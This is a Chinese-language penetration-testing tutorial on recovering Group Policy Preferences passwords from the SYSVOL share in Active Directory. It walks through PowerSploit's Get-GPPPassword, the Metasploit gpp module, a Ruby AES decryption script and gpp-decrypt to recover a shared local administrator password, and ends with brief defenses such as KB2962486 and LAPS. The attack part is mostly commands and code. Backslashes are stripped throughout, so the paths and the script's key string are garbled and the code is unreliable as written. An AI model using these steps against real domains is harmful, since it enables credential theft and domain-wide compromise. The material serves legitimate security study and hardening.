0x01 概述
SYSVOL:
SYSVOL是活动目录里面的一个用于存储域公共文件服务器副本的共享文件夹,在域中的所有域控制器之间进行复制。SYSVOL文件夹是在安装活动目录时自动创建的,主要用来存放登录脚本、组策略数据及其他域控制器需要的域信息等。SYSVOL在所有经过身份验证的域用户或者域信任用户具有读权限的活动目录的域范围内共享。整个SYSVOL目录在所有的域控制器中是自动同步和共享的,所有的域策略均存放在 C:WindowsSYSVOLDOMAINPolicies 目录中
Netlogon:
Netlogon(网络登录)服务为域控制器注册所有的srv资源纪录。这些记录出现在DNS服务器的正向查询区域你的域名中的_msdcs, _sites, _tcp, and _udp等文件夹中。其他计算机利用这些记录查询域活动目录相关的信息。
在一般的域环境中,所有机器都是脚本化批量部署的,数据量通常很大。为了方便地对所有的机器进行操作,网络管理员往往会使用域策略进行统一的配置和管理。大多数组织在创建域环境后,会要求加入域的计算机使用域用户密码进行登录验证。为了保证本地管理员密码的安全性,这些组织的网络管理员往往会修改本地管理员密码。
尽管如此,安全问题依旧存在。通过组策略统一修改的密码,虽然强度有所提高,但所有机器的本地管理员密码是相同的。攻击者获得了一台机器的本地管理员密码,就相当于获得了整个域中所有机器的本地管理员密码。
0x02 创建组策略(批量修改域机器本地管理员用户)
在域控上执行:开始——>运行——>输入 gpmc.msc ——>选择god.com——>右键组策略对象——>新建,我这里新建一个test组策略
编辑test组策略,会弹出一个组策略管理编辑器,然后 计算机配置——>首选项——>控制面板设置——>本地用户和组
右键本地用户和组——>新建——>本地用户
我们将域中每个计算机的本地administrator用户更名为 admin,并且设置新的密码 root@123456
然后将Domain Computers添加到组策略应用的组中
然后再强制更新组策略
gpupdate /force
0x03 获取组策略的凭据
管理员在域中新建一个组策略后,操作系统会自动在SYSVO共享目录中生成一个XML文件,该文件中保存了该组策略更新后的密码。该密码使用AES-256加密算法,安全性还是比较高的。但是,2012年微软在官方网站上公布了该密码的私钥,导致保存在XML文件中的密码的安全性大大降低。任何域用户和域信任的用户均可对该共享目录进行访问,这就意味着,任何用户都可以访问保存在XML文件中的密码并将其解密,从而控制域中所有使用该账号、密码的本地管理员计算机。在SYSVOL中搜索,可以找到Groups.xml文件。找到其中的cpassword字段,该字段是用AES-256算法加密的,root@123456 加密后的密文为 Yw6hqEEKPZtyKUXpWd5UhxEZ13DAe64s9w8U7Sq55uw
C:WindowsSYSVOLdomainPolicies{33CE6BAA-D341-40E6-84A6-59EC3473B386}MachinePreferencesGroupsGroups.xml
3.1 powershell
PowerSploit中的Get-GPPPassword.ps1脚本可以获取组策略中的密码。注意,我们只需要在域内任何一台以域用户权限登录的机器上均可查询到。
Import-Module .Get-GPPPassword.ps1;Get-GPPPassword
3.2 msf
MSF中 post/windows/gather/credentials/gpp 模块可以获取组策略中的密码。注意,我们只需要获取域内任何一台以域用户权限登录的机器的权限即可。
use post/windows/gather/credentials/gpp
set session 1
run
可以看到直接解密出来了
0x04 解密
这里可以通过ruby脚本
require 'rubygems'
require 'openssl'
require 'base64'
encrypted_data = "Yw6hqEEKPZtyKUXpWd5UhxEZ13DAe64s9w8U7Sq55uw"
def decrypt(encrypted_data)
padding = "=" * (4 - (encrypted_data.length % 4))
epassword = "#{encrypted_data}#{padding}"
decoded = Base64.decode64(epassword)
key = "x4ex99x06xe8xfcxb6x6cxc9xfaxf4x93x10x62x0fxfexe8xf4x96xe8x06xccx05x79x90x20x9bx09xa4x33xb6x6cx1b"
aes = OpenSSL::Cipher::Cipher.new("AES-256-CBC")
aes.decrypt
aes.key = key
plaintext = aes.update(decoded)
plaintext << aes.final
pass = plaintext.unpack('v*').pack('C*') # UNICODE conversion
return pass
end
blah = decrypt(encrypted_data)
puts blah
或者在kali直接利用
gpp-decrypt Yw6hqEEKPZtyKUXpWd5UhxEZ13DAe64s9w8U7Sq55uw
0x05 防御措施
在用于管理组策略的计算机上安装 KB2962486补丁,防止新的凭据被放置在组策略首选项中。微软在2014年修复了组策略首选项提权漏洞,使用的方法就是不再将密码保存在组策略首选项中。
此外,针对Everyone访问权限进行设置,具体如下:
设置共享文件夹SYSVOL的访问权限
将包含组策略密码的 XML 文件从 SYSVOL 目录中删除
不要把密码放在所有域用户都有权访问的文件中
如果需要更改域中机器的本地管理员密码,建议使用LAPS